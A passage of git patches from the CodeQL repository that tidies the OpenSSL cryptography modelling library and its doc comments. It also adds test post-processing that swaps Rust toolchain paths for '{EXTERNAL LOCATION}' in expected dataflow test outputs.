b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -93,7 +93,7 @@ private module AlgGetterToAlgConsumerFlow = DataFlow::Global Date: Tue, 3 Jun 2025 15:22:25 +0200 Subject: [PATCH 517/535] remove redundant if/none --- .../quantum/OpenSSL/Operations/OpenSSLOperationBase.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index 7e9e781c8971..cbd24f19904e 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -116,9 +116,7 @@ abstract class EVPOperation extends OpenSSLOperation { /** * Overwrite with an explicitly specified algorithm or leave base implementation to find it in the initialization call. */ - override Expr getAlgorithmArg() { - if exists(this.getInitCall()) then result = this.getInitCall().getAlgorithmArg() else none() - } + override Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() } /** * Finds the initialization call, may be none. From 60d9b6e338842c95b1fb62346e603d754f6a3254 Mon Sep 17 00:00:00 2001 From: GrosQuildu Date: Tue, 3 Jun 2025 16:19:55 +0200 Subject: [PATCH 518/535] update docs --- .../OpenSSL/Operations/EVPHashOperation.qll | 2 +- .../Operations/OpenSSLOperationBase.qll | 20 +++++++++---------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index f2907db56781..796f71398385 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -9,7 +9,7 @@ private import EVPHashInitializer private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers class EVP_Digest_Update_Call extends EVPUpdate { - EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] } + EVP_Digest_Update_Call() { this.(Call).getTarget().getName() = "EVP_DigestUpdate" } override Expr getInputArg() { result = this.(Call).getArgument(1) } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index cbd24f19904e..6ada6cb4665d 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -3,7 +3,7 @@ private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers /** - * All OpenSSL operations. + * A class for all OpenSSL operations. */ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Call { /** @@ -28,12 +28,12 @@ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Cal */ abstract class EVPInitialize extends Call { /** - * The context argument that ties together initialization, updates and/or final calls. + * Gets the context argument that ties together initialization, updates and/or final calls. */ Expr getContextArg() { result = this.(Call).getArgument(0) } /** - * The type of key operation, none if not applicable. + * Gets the type of key operation, none if not applicable. */ Crypto::KeyOperationSubtype getKeyOperationSubtype() { none() } @@ -44,12 +44,12 @@ abstract class EVPInitialize extends Call { Expr getAlgorithmArg() { none() } /** - * The key for the operation, none if not applicable. + * Gets the key for the operation, none if not applicable. */ Expr getKeyArg() { none() } /** - * The IV/nonce, none if not applicable. + * Gets the IV/nonce, none if not applicable. */ Expr getIVArg() { none() } } @@ -61,7 +61,7 @@ abstract class EVPInitialize extends Call { */ abstract class EVPUpdate extends Call { /** - * The context argument that ties together initialization, updates and/or final calls. + * Gets the context argument that ties together initialization, updates and/or final calls. */ Expr getContextArg() { result = this.(Call).getArgument(0) } @@ -98,7 +98,7 @@ private module AlgGetterToAlgConsumerFlow = DataFlow::Global Date: Wed, 4 Jun 2025 11:30:35 +0200 Subject: [PATCH 519/535] Rust: Remove external locations in tests using post-processing --- .../test/ExternalLocationPostProcessing.ql | 9 + .../dataflow/local/DataFlowStep.expected | 210 ++-- .../dataflow/local/DataFlowStep.ql | 17 +- .../dataflow/local/DataFlowStep.qlref | 2 + .../path-resolution/path-resolution.expected | 24 +- .../path-resolution/path-resolution.ql | 17 +- .../path-resolution/path-resolution.qlref | 2 + .../type-inference/type-inference.expected | 1030 ++++++++--------- .../type-inference/type-inference.ql | 17 +- .../type-inference/type-inference.qlref | 2 + .../test/ExternalLocationPostProcessing.qll | 30 + .../util/test/InlineExpectationsTest.qll | 6 +- 12 files changed, 684 insertions(+), 682 deletions(-) create mode 100644 rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql create mode 100644 rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref create mode 100644 rust/ql/test/library-tests/path-resolution/path-resolution.qlref create mode 100644 rust/ql/test/library-tests/type-inference/type-inference.qlref create mode 100644 shared/util/codeql/util/test/ExternalLocationPostProcessing.qll diff --git a/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql b/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql new file mode 100644 index 000000000000..0c4f58b40b6a --- /dev/null +++ b/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql @@ -0,0 +1,9 @@ +/** + * @kind test-postprocess + */ + +private import rust +private import codeql.util.test.ExternalLocationPostProcessing +import Make + +private string getSourceLocationPrefix() { sourceLocationPrefix(result) } diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index b7300075dc3b..4186b0841334 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -866,98 +866,8 @@ localStep | main.rs:565:13:565:33 | result_questionmark(...) | main.rs:565:9:565:9 | _ | | main.rs:577:36:577:41 | ...::new(...) | main.rs:577:36:577:41 | MacroExpr | | main.rs:577:36:577:41 | [post] MacroExpr | main.rs:577:36:577:41 | [post] ...::new(...) | -storeStep -| main.rs:97:14:97:22 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:97:25:97:25 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:103:14:103:14 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:17:103:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:29:103:29 | 2 | file://:0:0:0:0 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:111:18:111:18 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:111:21:111:30 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:114:11:114:20 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:5 | [post] a | -| main.rs:115:11:115:11 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:5 | [post] a | -| main.rs:121:14:121:14 | 3 | file://:0:0:0:0 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:121:17:121:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:122:14:122:14 | a | file://:0:0:0:0 | tuple.0 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:122:17:122:17 | 3 | file://:0:0:0:0 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:137:24:137:32 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:137:13:137:40 | Point {...} | -| main.rs:137:38:137:38 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:137:13:137:40 | Point {...} | -| main.rs:143:28:143:36 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:143:17:143:44 | Point {...} | -| main.rs:143:42:143:42 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:143:17:143:44 | Point {...} | -| main.rs:145:11:145:20 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:5 | [post] p | -| main.rs:151:12:151:21 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:150:13:153:5 | Point {...} | -| main.rs:152:12:152:12 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:150:13:153:5 | Point {...} | -| main.rs:166:16:169:9 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:167:16:167:16 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:166:16:169:9 | Point {...} | -| main.rs:168:16:168:25 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:166:16:169:9 | Point {...} | -| main.rs:170:12:170:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:180:16:180:32 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:180:27:180:27 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:180:16:180:32 | Point {...} | -| main.rs:180:30:180:30 | y | main.rs:133:5:133:10 | Point.y | main.rs:180:16:180:32 | Point {...} | -| main.rs:181:12:181:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:198:27:198:36 | source(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:198:39:198:39 | 2 | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:214:27:214:36 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:214:14:214:37 | ...::Some(...) | -| main.rs:215:27:215:27 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:215:14:215:28 | ...::Some(...) | -| main.rs:227:19:227:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:227:14:227:29 | Some(...) | -| main.rs:228:19:228:19 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:228:14:228:20 | Some(...) | -| main.rs:240:19:240:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:240:14:240:29 | Some(...) | -| main.rs:245:19:245:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:245:14:245:29 | Some(...) | -| main.rs:248:19:248:19 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:248:14:248:20 | Some(...) | -| main.rs:253:19:253:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:253:14:253:29 | Some(...) | -| main.rs:261:19:261:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:261:14:261:29 | Some(...) | -| main.rs:262:19:262:19 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:262:14:262:20 | Some(...) | -| main.rs:266:10:266:10 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:266:5:266:11 | Some(...) | -| main.rs:270:36:270:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:270:33:270:46 | Ok(...) | -| main.rs:276:37:276:46 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:276:33:276:47 | Err(...) | -| main.rs:284:35:284:44 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:284:32:284:45 | Ok(...) | -| main.rs:285:35:285:35 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:285:32:285:36 | Ok(...) | -| main.rs:286:36:286:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:286:32:286:46 | Err(...) | -| main.rs:293:8:293:8 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:293:5:293:9 | Ok(...) | -| main.rs:297:35:297:44 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:297:32:297:45 | Ok(...) | -| main.rs:301:36:301:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:301:32:301:46 | Err(...) | -| main.rs:312:29:312:38 | source(...) | main.rs:307:7:307:9 | A | main.rs:312:14:312:39 | ...::A(...) | -| main.rs:313:29:313:29 | 2 | main.rs:308:7:308:9 | B | main.rs:313:14:313:30 | ...::B(...) | -| main.rs:330:16:330:25 | source(...) | main.rs:307:7:307:9 | A | main.rs:330:14:330:26 | A(...) | -| main.rs:331:16:331:16 | 2 | main.rs:308:7:308:9 | B | main.rs:331:14:331:17 | B(...) | -| main.rs:352:18:352:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:351:14:353:5 | ...::C {...} | -| main.rs:354:41:354:41 | 2 | main.rs:347:9:347:20 | D | main.rs:354:14:354:43 | ...::D {...} | -| main.rs:372:18:372:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:371:14:373:5 | C {...} | -| main.rs:374:27:374:27 | 2 | main.rs:347:9:347:20 | D | main.rs:374:14:374:29 | D {...} | -| main.rs:392:17:392:17 | 1 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:20:392:20 | 2 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:23:392:32 | source(...) | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:396:17:396:26 | source(...) | file://:0:0:0:0 | element | main.rs:396:16:396:31 | [...; 10] | -| main.rs:400:17:400:17 | 1 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:20:400:20 | 2 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:23:400:23 | 3 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:406:17:406:17 | 1 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:20:406:20 | 2 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:23:406:32 | source(...) | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:411:17:411:17 | 1 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:20:411:20 | 2 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:23:411:23 | 3 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:418:17:418:17 | 1 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:20:418:20 | 2 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:23:418:32 | source(...) | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:429:24:429:24 | 1 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:27:429:27 | 2 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:30:429:30 | 3 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:432:18:432:27 | source(...) | file://:0:0:0:0 | element | main.rs:432:5:432:11 | [post] mut_arr | -| main.rs:444:41:444:67 | default_name | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | \|...\| ... | -| main.rs:479:15:479:24 | source(...) | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:27:479:27 | 2 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:30:479:30 | 3 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:33:479:33 | 4 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:504:23:504:32 | source(...) | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:35:504:35 | 2 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:38:504:38 | 3 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:41:504:41 | 4 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:519:18:519:18 | c | file://:0:0:0:0 | &ref | main.rs:519:17:519:18 | &c | -| main.rs:522:15:522:15 | b | file://:0:0:0:0 | &ref | main.rs:522:14:522:15 | &b | -| main.rs:545:27:545:27 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:545:22:545:28 | Some(...) | readStep -| main.rs:36:9:36:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:36:14:36:14 | _ | +| main.rs:36:9:36:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:36:14:36:14 | _ | | main.rs:90:11:90:11 | i | file://:0:0:0:0 | &ref | main.rs:90:10:90:11 | * ... | | main.rs:98:10:98:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:98:10:98:12 | a.0 | | main.rs:99:10:99:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:99:10:99:12 | a.1 | @@ -997,20 +907,20 @@ readStep | main.rs:200:10:200:10 | s | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:200:10:200:12 | s.1 | | main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:203:23:203:23 | x | | main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:203:26:203:26 | y | -| main.rs:217:9:217:23 | ...::Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:217:22:217:22 | n | -| main.rs:221:9:221:23 | ...::Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:221:22:221:22 | n | -| main.rs:230:9:230:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:230:14:230:14 | n | -| main.rs:234:9:234:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:234:14:234:14 | n | -| main.rs:263:14:263:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:263:14:263:16 | TryExpr | -| main.rs:263:14:263:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:263:14:263:16 | TryExpr | -| main.rs:265:10:265:11 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:265:10:265:12 | TryExpr | -| main.rs:265:10:265:11 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:265:10:265:12 | TryExpr | -| main.rs:287:14:287:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:287:14:287:16 | TryExpr | -| main.rs:287:14:287:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:287:14:287:16 | TryExpr | -| main.rs:288:14:288:15 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:288:14:288:16 | TryExpr | -| main.rs:288:14:288:15 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:288:14:288:16 | TryExpr | -| main.rs:291:14:291:15 | s3 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:291:14:291:16 | TryExpr | -| main.rs:291:14:291:15 | s3 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:291:14:291:16 | TryExpr | +| main.rs:217:9:217:23 | ...::Some(...) | {EXTERNAL LOCATION} | Some | main.rs:217:22:217:22 | n | +| main.rs:221:9:221:23 | ...::Some(...) | {EXTERNAL LOCATION} | Some | main.rs:221:22:221:22 | n | +| main.rs:230:9:230:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:230:14:230:14 | n | +| main.rs:234:9:234:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:234:14:234:14 | n | +| main.rs:263:14:263:15 | s1 | {EXTERNAL LOCATION} | Some | main.rs:263:14:263:16 | TryExpr | +| main.rs:263:14:263:15 | s1 | {EXTERNAL LOCATION} | Ok | main.rs:263:14:263:16 | TryExpr | +| main.rs:265:10:265:11 | s2 | {EXTERNAL LOCATION} | Some | main.rs:265:10:265:12 | TryExpr | +| main.rs:265:10:265:11 | s2 | {EXTERNAL LOCATION} | Ok | main.rs:265:10:265:12 | TryExpr | +| main.rs:287:14:287:15 | s1 | {EXTERNAL LOCATION} | Some | main.rs:287:14:287:16 | TryExpr | +| main.rs:287:14:287:15 | s1 | {EXTERNAL LOCATION} | Ok | main.rs:287:14:287:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | {EXTERNAL LOCATION} | Some | main.rs:288:14:288:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | {EXTERNAL LOCATION} | Ok | main.rs:288:14:288:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | {EXTERNAL LOCATION} | Some | main.rs:291:14:291:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | {EXTERNAL LOCATION} | Ok | main.rs:291:14:291:16 | TryExpr | | main.rs:315:9:315:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:315:24:315:24 | n | | main.rs:316:9:316:25 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:316:24:316:24 | n | | main.rs:319:9:319:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:319:24:319:24 | n | @@ -1069,3 +979,93 @@ readStep | main.rs:510:9:510:14 | &mut ... | file://:0:0:0:0 | &ref | main.rs:510:14:510:14 | v | | main.rs:510:19:510:35 | vs_mut.iter_mut() | file://:0:0:0:0 | element | main.rs:510:9:510:14 | &mut ... | | main.rs:524:11:524:15 | c_ref | file://:0:0:0:0 | &ref | main.rs:524:10:524:15 | * ... | +storeStep +| main.rs:97:14:97:22 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:97:25:97:25 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:103:14:103:14 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:17:103:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:29:103:29 | 2 | file://:0:0:0:0 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:111:18:111:18 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:111:21:111:30 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:114:11:114:20 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:5 | [post] a | +| main.rs:115:11:115:11 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:5 | [post] a | +| main.rs:121:14:121:14 | 3 | file://:0:0:0:0 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:121:17:121:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:122:14:122:14 | a | file://:0:0:0:0 | tuple.0 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:122:17:122:17 | 3 | file://:0:0:0:0 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:137:24:137:32 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:137:13:137:40 | Point {...} | +| main.rs:137:38:137:38 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:137:13:137:40 | Point {...} | +| main.rs:143:28:143:36 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:143:17:143:44 | Point {...} | +| main.rs:143:42:143:42 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:143:17:143:44 | Point {...} | +| main.rs:145:11:145:20 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:5 | [post] p | +| main.rs:151:12:151:21 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:150:13:153:5 | Point {...} | +| main.rs:152:12:152:12 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:150:13:153:5 | Point {...} | +| main.rs:166:16:169:9 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:167:16:167:16 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:166:16:169:9 | Point {...} | +| main.rs:168:16:168:25 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:166:16:169:9 | Point {...} | +| main.rs:170:12:170:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:180:16:180:32 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:180:27:180:27 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:180:16:180:32 | Point {...} | +| main.rs:180:30:180:30 | y | main.rs:133:5:133:10 | Point.y | main.rs:180:16:180:32 | Point {...} | +| main.rs:181:12:181:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:198:27:198:36 | source(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:198:39:198:39 | 2 | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:214:27:214:36 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:214:14:214:37 | ...::Some(...) | +| main.rs:215:27:215:27 | 2 | {EXTERNAL LOCATION} | Some | main.rs:215:14:215:28 | ...::Some(...) | +| main.rs:227:19:227:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:227:14:227:29 | Some(...) | +| main.rs:228:19:228:19 | 2 | {EXTERNAL LOCATION} | Some | main.rs:228:14:228:20 | Some(...) | +| main.rs:240:19:240:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:240:14:240:29 | Some(...) | +| main.rs:245:19:245:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:245:14:245:29 | Some(...) | +| main.rs:248:19:248:19 | 0 | {EXTERNAL LOCATION} | Some | main.rs:248:14:248:20 | Some(...) | +| main.rs:253:19:253:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:253:14:253:29 | Some(...) | +| main.rs:261:19:261:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:261:14:261:29 | Some(...) | +| main.rs:262:19:262:19 | 2 | {EXTERNAL LOCATION} | Some | main.rs:262:14:262:20 | Some(...) | +| main.rs:266:10:266:10 | 0 | {EXTERNAL LOCATION} | Some | main.rs:266:5:266:11 | Some(...) | +| main.rs:270:36:270:45 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:270:33:270:46 | Ok(...) | +| main.rs:276:37:276:46 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:276:33:276:47 | Err(...) | +| main.rs:284:35:284:44 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:284:32:284:45 | Ok(...) | +| main.rs:285:35:285:35 | 2 | {EXTERNAL LOCATION} | Ok | main.rs:285:32:285:36 | Ok(...) | +| main.rs:286:36:286:45 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:286:32:286:46 | Err(...) | +| main.rs:293:8:293:8 | 0 | {EXTERNAL LOCATION} | Ok | main.rs:293:5:293:9 | Ok(...) | +| main.rs:297:35:297:44 | source(...) | {EXTERNAL LOCATION} | Ok | 